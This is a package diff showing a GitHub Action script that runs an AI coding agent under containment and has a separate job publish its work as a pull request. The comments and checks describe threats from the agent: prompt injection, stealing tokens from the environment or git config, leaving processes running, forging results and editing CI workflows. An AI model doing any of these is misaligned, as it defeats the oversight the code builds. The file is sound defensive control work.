handcode 0.3.0rc1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agentctl/__init__.py +0 -0
- agentctl/adapters/__init__.py +0 -0
- agentctl/adapters/litellm/__init__.py +9 -0
- agentctl/adapters/litellm/hook.py +49 -0
- agentctl/adapters/litellm/recorder.py +187 -0
- agentctl/adapters/openhands/__init__.py +169 -0
- agentctl/adapters/openhands/handoff.py +155 -0
- agentctl/adapters/openhands/seam_b.py +259 -0
- agentctl/adapters/openhands/seam_c.py +209 -0
- agentctl/cli.py +1450 -0
- agentctl/control/__init__.py +0 -0
- agentctl/control/cost/__init__.py +4 -0
- agentctl/control/cost/ledger.py +210 -0
- agentctl/control/dash.py +697 -0
- agentctl/control/keys.py +440 -0
- agentctl/control/matrix/__init__.py +0 -0
- agentctl/control/matrix/data/tools.yaml +149 -0
- agentctl/control/policy/__init__.py +10 -0
- agentctl/control/policy/compile.py +258 -0
- agentctl/control/policy/data/policy.compiled.json +38 -0
- agentctl/control/policy/data/policy.yaml +46 -0
- agentctl/control/probe.py +399 -0
- agentctl/control/providers.py +293 -0
- agentctl/control/proxy.py +536 -0
- agentctl/control/proxyenv.py +309 -0
- agentctl/control/replay/__init__.py +14 -0
- agentctl/control/replay/cassette.py +281 -0
- agentctl/control/replay/server.py +109 -0
- agentctl/demo/__init__.py +214 -0
- agentctl/demo/child.py +84 -0
- agentctl/demo/mock.py +79 -0
- agentctl/demo/tool.py +62 -0
- agentctl/gha.py +488 -0
- agentctl/kernel/__init__.py +0 -0
- agentctl/kernel/classify.py +170 -0
- agentctl/kernel/gate.py +391 -0
- agentctl/kernel/hook.py +229 -0
- agentctl/kernel/ledger/__init__.py +0 -0
- agentctl/kernel/ledger/models.py +160 -0
- agentctl/kernel/ledger/schema.sql +62 -0
- agentctl/kernel/ledger/store.py +596 -0
- agentctl/kernel/paths.py +203 -0
- agentctl/kernel/policy.py +160 -0
- agentctl/kernel/reconcile/__init__.py +31 -0
- agentctl/kernel/reconcile/base.py +106 -0
- agentctl/kernel/reconcile/external.py +137 -0
- agentctl/kernel/reconcile/filesystem.py +162 -0
- agentctl/kernel/reconcile/git.py +162 -0
- agentctl/runtime/__init__.py +20 -0
- agentctl/runtime/citations.py +179 -0
- agentctl/runtime/config.py +97 -0
- agentctl/runtime/doctor.py +335 -0
- agentctl/runtime/init.py +148 -0
- agentctl/runtime/lease.py +143 -0
- agentctl/runtime/orchestrate.py +187 -0
- agentctl/runtime/plugins.py +130 -0
- agentctl/runtime/report.py +361 -0
- agentctl/runtime/runner.py +787 -0
- agentctl/runtime/runs.py +191 -0
- agentctl/runtime/subagent.py +274 -0
- agentctl/runtime/tools.py +350 -0
- handcode-0.3.0rc1.dist-info/METADATA +659 -0
- handcode-0.3.0rc1.dist-info/RECORD +67 -0
- handcode-0.3.0rc1.dist-info/WHEEL +5 -0
- handcode-0.3.0rc1.dist-info/entry_points.txt +3 -0
- handcode-0.3.0rc1.dist-info/licenses/LICENSE +21 -0
- handcode-0.3.0rc1.dist-info/top_level.txt +1 -0
agentctl/gha.py
ADDED
|
@@ -0,0 +1,488 @@
|
|
|
1
|
+
"""The GitHub Action: `action.yml` (run) and `publish/action.yml`. docs/0053.
|
|
2
|
+
|
|
3
|
+
Two jobs on two machines, because the job that runs the agent cannot be
|
|
4
|
+
trusted with anything worth stealing. Text the agent reads can carry
|
|
5
|
+
instructions (prompt injection), and anything on the agent's machine can read
|
|
6
|
+
anything else there that runs as the same user, environment included.
|
|
7
|
+
|
|
8
|
+
run The agent works in the checkout. The job holds the model key and a
|
|
9
|
+
READ-only token, nothing else. Its work leaves as a git bundle plus
|
|
10
|
+
the end-of-run report (`docs/0048`).
|
|
11
|
+
publish A fresh machine that never runs the repository's code. It checks the
|
|
12
|
+
bundle, pushes it to a new branch, never the base, and opens a pull
|
|
13
|
+
request with the report as its description.
|
|
14
|
+
|
|
15
|
+
Standard library only, and no `agentctl` import: `publish` runs on the
|
|
16
|
+
runner's own python3 with nothing installed.
|
|
17
|
+
"""
|
|
18
|
+
from __future__ import annotations
|
|
19
|
+
|
|
20
|
+
import base64
|
|
21
|
+
import json
|
|
22
|
+
import os
|
|
23
|
+
import re
|
|
24
|
+
import shlex
|
|
25
|
+
import signal
|
|
26
|
+
import subprocess
|
|
27
|
+
import sys
|
|
28
|
+
import time
|
|
29
|
+
import urllib.error
|
|
30
|
+
import urllib.request
|
|
31
|
+
from pathlib import Path
|
|
32
|
+
|
|
33
|
+
#: Events where a person with write access chose the task. Everything else
|
|
34
|
+
#: (issues, comments, pull requests from forks, ...) can carry a stranger's
|
|
35
|
+
#: text, and the I-26 injection canaries have not run yet (docs/0051 D10).
|
|
36
|
+
TRUSTED_EVENTS = frozenset({"workflow_dispatch", "schedule", "push",
|
|
37
|
+
"repository_dispatch"})
|
|
38
|
+
|
|
39
|
+
#: Never in the agent's environment. ACTIONS_* carries the runner's own
|
|
40
|
+
#: tokens (artifacts, cache, OIDC). The GITHUB_* files set later steps'
|
|
41
|
+
#: environment and outputs. INPUT_* are action inputs, the token among them.
|
|
42
|
+
_DROP = frozenset({"GITHUB_TOKEN", "GH_TOKEN", "GH_ENTERPRISE_TOKEN",
|
|
43
|
+
"GITHUB_ENTERPRISE_TOKEN", "HANDCODE_TOKEN",
|
|
44
|
+
"GITHUB_ENV", "GITHUB_OUTPUT", "GITHUB_PATH", "GITHUB_STATE",
|
|
45
|
+
"GITHUB_STEP_SUMMARY"})
|
|
46
|
+
_DROP_PREFIXES = ("ACTIONS_", "INPUT_")
|
|
47
|
+
|
|
48
|
+
BOT_NAME = "github-actions[bot]"
|
|
49
|
+
BOT_EMAIL = "41898283+github-actions[bot]@users.noreply.github.com"
|
|
50
|
+
RESULT_REF = "refs/handcode/result"
|
|
51
|
+
BODY_LIMIT = 60_000 # GitHub refuses a body over 65,536
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
class Refusal(Exception):
|
|
55
|
+
"""A check failed. The message says what to change; exit 2."""
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
# ── git ───────────────────────────────────────────────────────────────────
|
|
59
|
+
def git(cwd: Path, *args: str, env: dict | None = None, check: bool = True) -> str:
|
|
60
|
+
p = subprocess.run(["git", *args], cwd=cwd, env=env, capture_output=True,
|
|
61
|
+
text=True, encoding="utf-8", errors="replace")
|
|
62
|
+
if check and p.returncode != 0:
|
|
63
|
+
raise Refusal(f"git {' '.join(args[:3])} failed: {p.stderr.strip()[:400]}")
|
|
64
|
+
return p.stdout.strip()
|
|
65
|
+
|
|
66
|
+
|
|
67
|
+
def _safe(scratch: Path) -> list[str]:
|
|
68
|
+
"""Options for the git commands run AFTER the agent, in the repository the
|
|
69
|
+
agent could have reconfigured: no hooks, no fsmonitor command."""
|
|
70
|
+
hooks = scratch / "no-hooks"
|
|
71
|
+
hooks.mkdir(parents=True, exist_ok=True)
|
|
72
|
+
return ["-c", f"core.hooksPath={hooks.as_posix()}", "-c", "core.fsmonitor=false"]
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
# ── the checks before the agent starts ───────────────────────────────────
|
|
76
|
+
def check_event(env: dict) -> None:
|
|
77
|
+
name = env.get("GITHUB_EVENT_NAME", "")
|
|
78
|
+
if name and name not in TRUSTED_EVENTS:
|
|
79
|
+
raise Refusal(
|
|
80
|
+
f"refused: this run was triggered by a `{name}` event. Its text can "
|
|
81
|
+
f"come from anyone, and the agent would act on it. For now the "
|
|
82
|
+
f"Action runs on {', '.join(sorted(TRUSTED_EVENTS))} only, where a "
|
|
83
|
+
f"person with write access chose the task (docs/0053).")
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
def check_credentials(ws: Path) -> None:
|
|
87
|
+
"""The agent can read .git/config. actions/checkout leaves the job's token
|
|
88
|
+
there unless told not to, which hands the agent that token."""
|
|
89
|
+
headers = git(ws, "config", "--includes", "--get-regexp",
|
|
90
|
+
r"^http\..*\.extraheader$", check=False)
|
|
91
|
+
remotes = git(ws, "remote", "-v", check=False)
|
|
92
|
+
if headers or re.search(r"://[^/@\s]+@", remotes):
|
|
93
|
+
raise Refusal(
|
|
94
|
+
"refused: the job's GitHub token is stored in this checkout's git "
|
|
95
|
+
"config, where the agent can read it. Add this to the checkout step:\n"
|
|
96
|
+
" - uses: actions/checkout@v4\n"
|
|
97
|
+
" with:\n"
|
|
98
|
+
" persist-credentials: false")
|
|
99
|
+
|
|
100
|
+
|
|
101
|
+
def check_clean(ws: Path) -> None:
|
|
102
|
+
dirty = git(ws, "status", "--porcelain").splitlines()
|
|
103
|
+
if dirty:
|
|
104
|
+
shown = "\n".join(f" {l}" for l in dirty[:5])
|
|
105
|
+
more = f"\n ... and {len(dirty) - 5} more" if len(dirty) > 5 else ""
|
|
106
|
+
raise Refusal(
|
|
107
|
+
"refused: the checkout already has changes, and they would end up in "
|
|
108
|
+
"the pull request as if the agent made them:\n" + shown + more +
|
|
109
|
+
"\n Commit them, or ignore them in .gitignore, before this step.")
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def check_head(ws: Path, env: dict) -> str:
|
|
113
|
+
head = git(ws, "rev-parse", "HEAD")
|
|
114
|
+
want = env.get("GITHUB_SHA")
|
|
115
|
+
if want and head != want:
|
|
116
|
+
raise Refusal(
|
|
117
|
+
f"refused: the checkout is at {head[:12]}, not {want[:12]}, the commit "
|
|
118
|
+
f"this workflow run is for. The publish job checks the agent's work "
|
|
119
|
+
f"against that commit. Check out the default ref.")
|
|
120
|
+
return head
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def agent_env(env: dict, runner_environment: str = "") -> dict:
|
|
124
|
+
"""The agent's environment: the job's, minus every token GitHub put there.
|
|
125
|
+
The model key stays; the agent cannot work without it."""
|
|
126
|
+
out = {k: v for k, v in env.items()
|
|
127
|
+
if k not in _DROP and not k.startswith(_DROP_PREFIXES)}
|
|
128
|
+
if runner_environment == "github-hosted":
|
|
129
|
+
# The VM is discarded when the job ends, so a package install lands
|
|
130
|
+
# nowhere that lasts: the same containment as the image (docs/0052).
|
|
131
|
+
# A self-hosted runner is somebody's machine, and keeps asking.
|
|
132
|
+
out["HANDCODE_CONTAINER"] = "1"
|
|
133
|
+
out.update(GIT_AUTHOR_NAME=BOT_NAME, GIT_AUTHOR_EMAIL=BOT_EMAIL,
|
|
134
|
+
GIT_COMMITTER_NAME=BOT_NAME, GIT_COMMITTER_EMAIL=BOT_EMAIL,
|
|
135
|
+
GIT_TERMINAL_PROMPT="0")
|
|
136
|
+
return out
|
|
137
|
+
|
|
138
|
+
|
|
139
|
+
# ── leftover processes ────────────────────────────────────────────────────
|
|
140
|
+
def become_subreaper() -> bool:
|
|
141
|
+
"""Linux: a process the agent leaves running re-parents to US, not to init,
|
|
142
|
+
however it detaches, so `sweep` can find it. Without this, a background
|
|
143
|
+
process could outlive the agent and read what later steps hold."""
|
|
144
|
+
if not sys.platform.startswith("linux"):
|
|
145
|
+
return False
|
|
146
|
+
try:
|
|
147
|
+
import ctypes
|
|
148
|
+
libc = ctypes.CDLL(None, use_errno=True)
|
|
149
|
+
return libc.prctl(36, 1, 0, 0, 0) == 0 # PR_SET_CHILD_SUBREAPER
|
|
150
|
+
except (OSError, AttributeError):
|
|
151
|
+
return False
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
def _descendants(root: int) -> set[int]:
|
|
155
|
+
parent: dict[int, int] = {}
|
|
156
|
+
for d in os.listdir("/proc"):
|
|
157
|
+
if not d.isdigit():
|
|
158
|
+
continue
|
|
159
|
+
try:
|
|
160
|
+
stat = Path(f"/proc/{d}/stat").read_text()
|
|
161
|
+
except OSError:
|
|
162
|
+
continue
|
|
163
|
+
# "pid (comm) state ppid ...": comm may hold spaces and parentheses.
|
|
164
|
+
parent[int(d)] = int(stat[stat.rindex(")") + 2:].split()[1])
|
|
165
|
+
found: set[int] = set()
|
|
166
|
+
grew = True
|
|
167
|
+
while grew:
|
|
168
|
+
grew = False
|
|
169
|
+
for pid, pp in parent.items():
|
|
170
|
+
if pid not in found and (pp == root or pp in found):
|
|
171
|
+
found.add(pid)
|
|
172
|
+
grew = True
|
|
173
|
+
return found
|
|
174
|
+
|
|
175
|
+
|
|
176
|
+
def sweep() -> int:
|
|
177
|
+
"""Kill every process still descending from this one. Returns how many."""
|
|
178
|
+
if not sys.platform.startswith("linux"):
|
|
179
|
+
return 0
|
|
180
|
+
killed: set[int] = set()
|
|
181
|
+
for _ in range(10):
|
|
182
|
+
left = _descendants(os.getpid()) - killed
|
|
183
|
+
if not left:
|
|
184
|
+
break
|
|
185
|
+
for pid in left:
|
|
186
|
+
try:
|
|
187
|
+
os.kill(pid, signal.SIGKILL)
|
|
188
|
+
killed.add(pid)
|
|
189
|
+
except ProcessLookupError:
|
|
190
|
+
pass
|
|
191
|
+
time.sleep(0.2)
|
|
192
|
+
try:
|
|
193
|
+
while os.waitpid(-1, os.WNOHANG)[0]:
|
|
194
|
+
pass
|
|
195
|
+
except ChildProcessError:
|
|
196
|
+
pass
|
|
197
|
+
return len(killed)
|
|
198
|
+
|
|
199
|
+
|
|
200
|
+
# ── GitHub's files ────────────────────────────────────────────────────────
|
|
201
|
+
def set_outputs(env: dict, **values) -> None:
|
|
202
|
+
if path := env.get("GITHUB_OUTPUT"):
|
|
203
|
+
with open(path, "a", encoding="utf-8") as f:
|
|
204
|
+
for k, v in values.items():
|
|
205
|
+
lines = ("" if v is None else str(v)).splitlines()
|
|
206
|
+
f.write(f"{k}={lines[0] if lines else ''}\n")
|
|
207
|
+
|
|
208
|
+
|
|
209
|
+
def add_summary(env: dict, text: str) -> None:
|
|
210
|
+
if path := env.get("GITHUB_STEP_SUMMARY"):
|
|
211
|
+
with open(path, "a", encoding="utf-8") as f:
|
|
212
|
+
f.write(text.rstrip() + "\n")
|
|
213
|
+
|
|
214
|
+
|
|
215
|
+
def fenced(text: str, lang: str = "text") -> str:
|
|
216
|
+
"""A code fence longer than any run of backticks inside: the report holds
|
|
217
|
+
what the agent said, which must not be able to close the fence."""
|
|
218
|
+
longest = max((len(m) for m in re.findall(r"`+", text)), default=0)
|
|
219
|
+
fence = "`" * max(3, longest + 1)
|
|
220
|
+
return f"{fence}{lang}\n{text}\n{fence}"
|
|
221
|
+
|
|
222
|
+
|
|
223
|
+
def run_url(env: dict) -> str:
|
|
224
|
+
return (f"{env.get('GITHUB_SERVER_URL', 'https://github.com')}/"
|
|
225
|
+
f"{env.get('GITHUB_REPOSITORY', '')}/actions/runs/{env.get('GITHUB_RUN_ID', '')}")
|
|
226
|
+
|
|
227
|
+
|
|
228
|
+
def first_line(task: str) -> str:
|
|
229
|
+
first = next((l.strip() for l in task.splitlines() if l.strip()), "a task")
|
|
230
|
+
return first if len(first) <= 60 else first[:57] + "..."
|
|
231
|
+
|
|
232
|
+
|
|
233
|
+
def title(task: str, report: dict | None) -> str:
|
|
234
|
+
first = first_line(task)
|
|
235
|
+
outcome = (report or {}).get("outcome", "no report")
|
|
236
|
+
tag = "" if (report or {}).get("ok") and outcome == "PASS" else f"[{outcome}] "
|
|
237
|
+
return f"{tag}handcode: {first}"
|
|
238
|
+
|
|
239
|
+
|
|
240
|
+
def render_body(task: str, report: dict | None, meta: dict, env: dict) -> str:
|
|
241
|
+
quoted = "\n".join("> " + l for l in (task.strip() or "(no task)").splitlines())
|
|
242
|
+
parts = [f"**HandCode** ran this task in [workflow run {env.get('GITHUB_RUN_ID', '')}]"
|
|
243
|
+
f"({run_url(env)}):", "", quoted, ""]
|
|
244
|
+
if report:
|
|
245
|
+
parts += [fenced(report.get("text", "")), ""]
|
|
246
|
+
else:
|
|
247
|
+
parts += ["agentctl wrote no report. The run's log says why.", ""]
|
|
248
|
+
if (k := meta.get("swept")):
|
|
249
|
+
parts += [f"{k} process(es) the agent left running were stopped when it "
|
|
250
|
+
f"finished.", ""]
|
|
251
|
+
parts += [
|
|
252
|
+
"<details><summary>Before you merge</summary>", "",
|
|
253
|
+
"- The agent's job held the model key and a read-only token. This branch "
|
|
254
|
+
"was pushed by a second job that runs none of the repository's code.",
|
|
255
|
+
"- The outcome above comes from `--accept`, run in the agent's job. "
|
|
256
|
+
"GitHub does not run workflows on a branch pushed with the workflow's own "
|
|
257
|
+
"token, so CI has not run here; push a commit or re-run it to get it.",
|
|
258
|
+
"- Review the diff as you would a stranger's. The task text, the "
|
|
259
|
+
"repository and every tool output were input to a model.",
|
|
260
|
+
"", "</details>"]
|
|
261
|
+
body = "\n".join(parts)
|
|
262
|
+
if len(body) > BODY_LIMIT:
|
|
263
|
+
body = body[:BODY_LIMIT - 200] + f"\n\n(cut at {BODY_LIMIT} characters; " \
|
|
264
|
+
f"the full report is in the run's log)"
|
|
265
|
+
return body
|
|
266
|
+
|
|
267
|
+
|
|
268
|
+
# ── run: the agent's job ──────────────────────────────────────────────────
|
|
269
|
+
def run(env: dict, agentctl: list[str] | None = None) -> int:
|
|
270
|
+
ws = Path(env.get("GITHUB_WORKSPACE") or ".").resolve()
|
|
271
|
+
out = Path(env.get("HANDCODE_OUT") or ws.parent / "handcode-out").resolve()
|
|
272
|
+
out.mkdir(parents=True, exist_ok=True)
|
|
273
|
+
task = env.get("HANDCODE_TASK", "").strip()
|
|
274
|
+
if not task:
|
|
275
|
+
raise Refusal("refused: no task. Set the action's `task` input.")
|
|
276
|
+
check_event(env)
|
|
277
|
+
check_credentials(ws)
|
|
278
|
+
check_clean(ws)
|
|
279
|
+
base = check_head(ws, env)
|
|
280
|
+
|
|
281
|
+
cmd = list(agentctl or [env.get("HANDCODE_AGENTCTL") or "agentctl"])
|
|
282
|
+
cmd += ["run", task, "--workspace", str(ws),
|
|
283
|
+
"--report-json", str(out / "report.json")]
|
|
284
|
+
if a := env.get("HANDCODE_ACCEPT", "").strip():
|
|
285
|
+
cmd += ["--accept", a]
|
|
286
|
+
if m := env.get("HANDCODE_MODEL", "").strip():
|
|
287
|
+
cmd += ["--model", m]
|
|
288
|
+
if n := env.get("HANDCODE_MAX_ITERATIONS", "").strip():
|
|
289
|
+
cmd += ["--max-iterations", n]
|
|
290
|
+
if b := env.get("HANDCODE_MAX_BUDGET", "").strip():
|
|
291
|
+
cmd += ["--max-budget", b]
|
|
292
|
+
cmd += shlex.split(env.get("HANDCODE_ARGS", ""))
|
|
293
|
+
|
|
294
|
+
reaper = become_subreaper()
|
|
295
|
+
print(f"handcode: running the agent (leftover processes "
|
|
296
|
+
f"{'will be stopped' if reaper else 'are not tracked on this OS'})",
|
|
297
|
+
flush=True)
|
|
298
|
+
rc = subprocess.call(cmd, cwd=ws, env=agent_env(env, env.get("HANDCODE_RUNNER_ENV", "")))
|
|
299
|
+
swept = sweep()
|
|
300
|
+
if swept:
|
|
301
|
+
print(f"handcode: stopped {swept} process(es) the agent left running")
|
|
302
|
+
|
|
303
|
+
report = None
|
|
304
|
+
if (out / "report.json").exists():
|
|
305
|
+
report = json.loads((out / "report.json").read_text(encoding="utf-8"))
|
|
306
|
+
|
|
307
|
+
# What the agent did not commit, committed for it. These git commands run
|
|
308
|
+
# in a repository the agent may have reconfigured, hence `_safe`, and
|
|
309
|
+
# nothing secret is in this process's environment.
|
|
310
|
+
safe = _safe(out)
|
|
311
|
+
genv = agent_env(env)
|
|
312
|
+
if git(ws, *safe, "status", "--porcelain", env=genv):
|
|
313
|
+
git(ws, *safe, "add", "-A", env=genv)
|
|
314
|
+
git(ws, *safe, "commit", "--no-verify", "-q", "-m",
|
|
315
|
+
f"{first_line(task)}\n\n{task}\n\nRun: {run_url(env)}",
|
|
316
|
+
env=genv)
|
|
317
|
+
head = git(ws, "rev-parse", "HEAD")
|
|
318
|
+
descends = subprocess.run(["git", "merge-base", "--is-ancestor", base, head],
|
|
319
|
+
cwd=ws, capture_output=True).returncode == 0
|
|
320
|
+
commits = int(git(ws, "rev-list", "--count", f"{base}..{head}")) if descends else 0
|
|
321
|
+
if commits:
|
|
322
|
+
git(ws, "update-ref", RESULT_REF, head)
|
|
323
|
+
git(ws, *safe, "bundle", "create", str(out / "result.bundle"),
|
|
324
|
+
RESULT_REF, f"^{base}", env=genv)
|
|
325
|
+
meta = {"base": base, "head": head, "commits": commits, "descends": descends,
|
|
326
|
+
"agentctl_exit": rc, "swept": swept, "task": task}
|
|
327
|
+
(out / "meta.json").write_text(json.dumps(meta, indent=2), encoding="utf-8")
|
|
328
|
+
swept += sweep() # anything `git` above was made to start
|
|
329
|
+
|
|
330
|
+
add_summary(env, "## HandCode\n\n" + render_body(task, report, meta, env))
|
|
331
|
+
set_outputs(env, outcome=(report or {}).get("outcome", "no report"),
|
|
332
|
+
ok=str(bool((report or {}).get("ok"))).lower(), commits=commits,
|
|
333
|
+
**{"conversation-id": (report or {}).get("conversation_id", "")})
|
|
334
|
+
if not descends:
|
|
335
|
+
print(f"handcode: HEAD ({head[:12]}) no longer descends from {base[:12]}: "
|
|
336
|
+
f"the agent rewrote history, so there is nothing to propose")
|
|
337
|
+
elif not commits:
|
|
338
|
+
print("handcode: no changes, so there is nothing to propose")
|
|
339
|
+
if report is None:
|
|
340
|
+
print(f"handcode: agentctl exited {rc} without a report")
|
|
341
|
+
return rc or 1
|
|
342
|
+
return 0
|
|
343
|
+
|
|
344
|
+
|
|
345
|
+
# ── publish: a fresh machine ──────────────────────────────────────────────
|
|
346
|
+
def _auth_env(work: Path, server: str, token: str) -> dict:
|
|
347
|
+
"""git's environment for publishing: only config this job wrote (no global,
|
|
348
|
+
no system file), and the token as a header scoped to the server, set
|
|
349
|
+
through the environment rather than a command line or a file."""
|
|
350
|
+
empty = work / "empty.gitconfig"
|
|
351
|
+
empty.write_text("", encoding="utf-8")
|
|
352
|
+
e = {k: v for k, v in os.environ.items() if not k.startswith("GIT_")}
|
|
353
|
+
e.update(GIT_CONFIG_GLOBAL=str(empty), GIT_CONFIG_NOSYSTEM="1",
|
|
354
|
+
GIT_TERMINAL_PROMPT="0")
|
|
355
|
+
if token:
|
|
356
|
+
cred = base64.b64encode(f"x-access-token:{token}".encode()).decode()
|
|
357
|
+
e.update(GIT_CONFIG_COUNT="1",
|
|
358
|
+
GIT_CONFIG_KEY_0=f"http.{server.rstrip('/')}/.extraheader",
|
|
359
|
+
GIT_CONFIG_VALUE_0=f"AUTHORIZATION: basic {cred}")
|
|
360
|
+
return e
|
|
361
|
+
|
|
362
|
+
|
|
363
|
+
def github_api(method: str, url: str, token: str, body: dict) -> tuple[int, dict]:
|
|
364
|
+
req = urllib.request.Request(url, method=method, data=json.dumps(body).encode(),
|
|
365
|
+
headers={"Authorization": f"Bearer {token}",
|
|
366
|
+
"Accept": "application/vnd.github+json",
|
|
367
|
+
"X-GitHub-Api-Version": "2022-11-28"})
|
|
368
|
+
try:
|
|
369
|
+
with urllib.request.urlopen(req, timeout=60) as r:
|
|
370
|
+
return r.status, json.loads(r.read() or b"{}")
|
|
371
|
+
except urllib.error.HTTPError as e:
|
|
372
|
+
try:
|
|
373
|
+
return e.code, json.loads(e.read() or b"{}")
|
|
374
|
+
except ValueError:
|
|
375
|
+
return e.code, {}
|
|
376
|
+
|
|
377
|
+
|
|
378
|
+
def publish(env: dict, api=github_api) -> int:
|
|
379
|
+
inp = Path(env.get("HANDCODE_IN") or ".").resolve()
|
|
380
|
+
work = Path(env.get("RUNNER_TEMP") or inp.parent).resolve() / "handcode-publish"
|
|
381
|
+
token = env.get("HANDCODE_TOKEN", "")
|
|
382
|
+
server = env.get("GITHUB_SERVER_URL", "https://github.com").rstrip("/")
|
|
383
|
+
repo = env.get("GITHUB_REPOSITORY", "")
|
|
384
|
+
dry = env.get("HANDCODE_DRY_RUN", "").lower() in ("1", "true", "yes")
|
|
385
|
+
|
|
386
|
+
if not (inp / "meta.json").exists():
|
|
387
|
+
raise Refusal(f"refused: no result from the run job in {inp}. Did it fail?")
|
|
388
|
+
meta = json.loads((inp / "meta.json").read_text(encoding="utf-8"))
|
|
389
|
+
report = (json.loads((inp / "report.json").read_text(encoding="utf-8"))
|
|
390
|
+
if (inp / "report.json").exists() else None)
|
|
391
|
+
task = str(meta.get("task", ""))
|
|
392
|
+
ok = bool((report or {}).get("ok"))
|
|
393
|
+
|
|
394
|
+
# Everything from the run job is the agent's to forge, so it is checked
|
|
395
|
+
# against what GitHub, not the run job, says this run is for.
|
|
396
|
+
base = env.get("GITHUB_SHA", "")
|
|
397
|
+
ref = env.get("GITHUB_REF", "")
|
|
398
|
+
if not ref.startswith("refs/heads/"):
|
|
399
|
+
raise Refusal(f"refused: {ref or 'this ref'} is not a branch, so there is "
|
|
400
|
+
f"no branch for a pull request to target.")
|
|
401
|
+
base_branch = ref[len("refs/heads/"):]
|
|
402
|
+
if meta.get("base") != base:
|
|
403
|
+
raise Refusal(f"refused: the run job worked from {str(meta.get('base'))[:12]}, "
|
|
404
|
+
f"but this workflow run is for {base[:12]}.")
|
|
405
|
+
bundle = inp / "result.bundle"
|
|
406
|
+
if not bundle.exists():
|
|
407
|
+
print("handcode: the agent changed nothing, so there is no pull request")
|
|
408
|
+
set_outputs(env, **{"pull-request": "", "branch": ""})
|
|
409
|
+
return 0 if ok else 1
|
|
410
|
+
|
|
411
|
+
work.mkdir(parents=True, exist_ok=True)
|
|
412
|
+
genv = _auth_env(work, server, token)
|
|
413
|
+
url = f"{server}/{repo}.git"
|
|
414
|
+
git(work, "init", "-q", env=genv)
|
|
415
|
+
git(work, "fetch", "-q", "--depth=1", "--no-tags", url, base, env=genv)
|
|
416
|
+
git(work, "bundle", "verify", "-q", str(bundle), env=genv)
|
|
417
|
+
git(work, "fetch", "-q", str(bundle), f"{RESULT_REF}:{RESULT_REF}", env=genv)
|
|
418
|
+
head = git(work, "rev-parse", RESULT_REF, env=genv)
|
|
419
|
+
if subprocess.run(["git", "merge-base", "--is-ancestor", base, head], cwd=work,
|
|
420
|
+
env=genv, capture_output=True).returncode != 0:
|
|
421
|
+
raise Refusal(f"refused: the agent's work ({head[:12]}) does not build on "
|
|
422
|
+
f"{base[:12]}.")
|
|
423
|
+
files = git(work, "diff", "--name-only", base, head, env=genv).splitlines()
|
|
424
|
+
workflows = [f for f in files if f.startswith(".github/workflows/")]
|
|
425
|
+
if workflows:
|
|
426
|
+
raise Refusal(
|
|
427
|
+
"refused: the change edits a workflow file (" + ", ".join(workflows[:3]) +
|
|
428
|
+
"). A change to CI made by an agent needs a person, and the "
|
|
429
|
+
"workflow's token cannot push one anyway. The diff is in the bundle "
|
|
430
|
+
"artifact; apply it by hand if you want it.")
|
|
431
|
+
commits = int(git(work, "rev-list", "--count", f"{base}..{head}", env=genv))
|
|
432
|
+
branch = f"handcode/run-{env.get('GITHUB_RUN_ID', '0')}-{env.get('GITHUB_RUN_ATTEMPT', '1')}"
|
|
433
|
+
if branch == base_branch:
|
|
434
|
+
raise Refusal("refused: the new branch would be the base branch")
|
|
435
|
+
body = render_body(task, report, meta, env)
|
|
436
|
+
print(f"handcode: {commits} commit(s), {len(files)} file(s), "
|
|
437
|
+
f"{base[:12]}..{head[:12]} -> {branch}")
|
|
438
|
+
if dry:
|
|
439
|
+
print("handcode: dry run, nothing pushed\n\n" + title(task, report) + "\n\n" + body)
|
|
440
|
+
set_outputs(env, **{"pull-request": "", "branch": branch})
|
|
441
|
+
return 0
|
|
442
|
+
|
|
443
|
+
git(work, "push", "-q", "--no-verify", url, f"{head}:refs/heads/{branch}", env=genv)
|
|
444
|
+
pulls = f"{env.get('GITHUB_API_URL', 'https://api.github.com')}/repos/{repo}/pulls"
|
|
445
|
+
pr = {"title": title(task, report), "head": branch, "base": base_branch,
|
|
446
|
+
"body": body, "draft": not ok}
|
|
447
|
+
status, resp = api("POST", pulls, token, pr)
|
|
448
|
+
if status == 422 and pr["draft"] and "draft" in json.dumps(resp).lower():
|
|
449
|
+
pr["draft"] = False # a plan without draft PRs
|
|
450
|
+
status, resp = api("POST", pulls, token, pr)
|
|
451
|
+
if status == 403 and "not permitted to create" in json.dumps(resp).lower():
|
|
452
|
+
compare = f"{server}/{repo}/compare/{base_branch}...{branch}?expand=1"
|
|
453
|
+
print("handcode: the branch is pushed, but GitHub did not let the "
|
|
454
|
+
"workflow open the pull request. The repository's owner can allow it:\n"
|
|
455
|
+
" Settings > Actions > General > Workflow permissions >\n"
|
|
456
|
+
" \"Allow GitHub Actions to create and approve pull requests\"\n"
|
|
457
|
+
f"Or open it yourself: {compare}")
|
|
458
|
+
add_summary(env, f"Pushed `{branch}`. [Open the pull request]({compare}).")
|
|
459
|
+
set_outputs(env, **{"pull-request": "", "branch": branch})
|
|
460
|
+
return 1
|
|
461
|
+
if status >= 300:
|
|
462
|
+
raise Refusal(f"refused: GitHub answered {status} to opening the pull "
|
|
463
|
+
f"request: {str(resp.get('message', resp))[:300]}")
|
|
464
|
+
link = resp.get("html_url", "")
|
|
465
|
+
print(f"handcode: opened {link}" + ("" if ok else " as a draft: it needs you"))
|
|
466
|
+
add_summary(env, f"## HandCode\n\nOpened {link}")
|
|
467
|
+
set_outputs(env, **{"pull-request": link, "branch": branch})
|
|
468
|
+
return 0 if ok else 1
|
|
469
|
+
|
|
470
|
+
|
|
471
|
+
def main(argv: list[str] | None = None) -> int:
|
|
472
|
+
argv = sys.argv[1:] if argv is None else argv
|
|
473
|
+
step = argv[0] if argv else ""
|
|
474
|
+
try:
|
|
475
|
+
if step == "run":
|
|
476
|
+
return run(dict(os.environ))
|
|
477
|
+
if step == "publish":
|
|
478
|
+
return publish(dict(os.environ))
|
|
479
|
+
print("usage: gha.py run|publish", file=sys.stderr)
|
|
480
|
+
return 2
|
|
481
|
+
except Refusal as r:
|
|
482
|
+
print(f"handcode: {r}", file=sys.stderr)
|
|
483
|
+
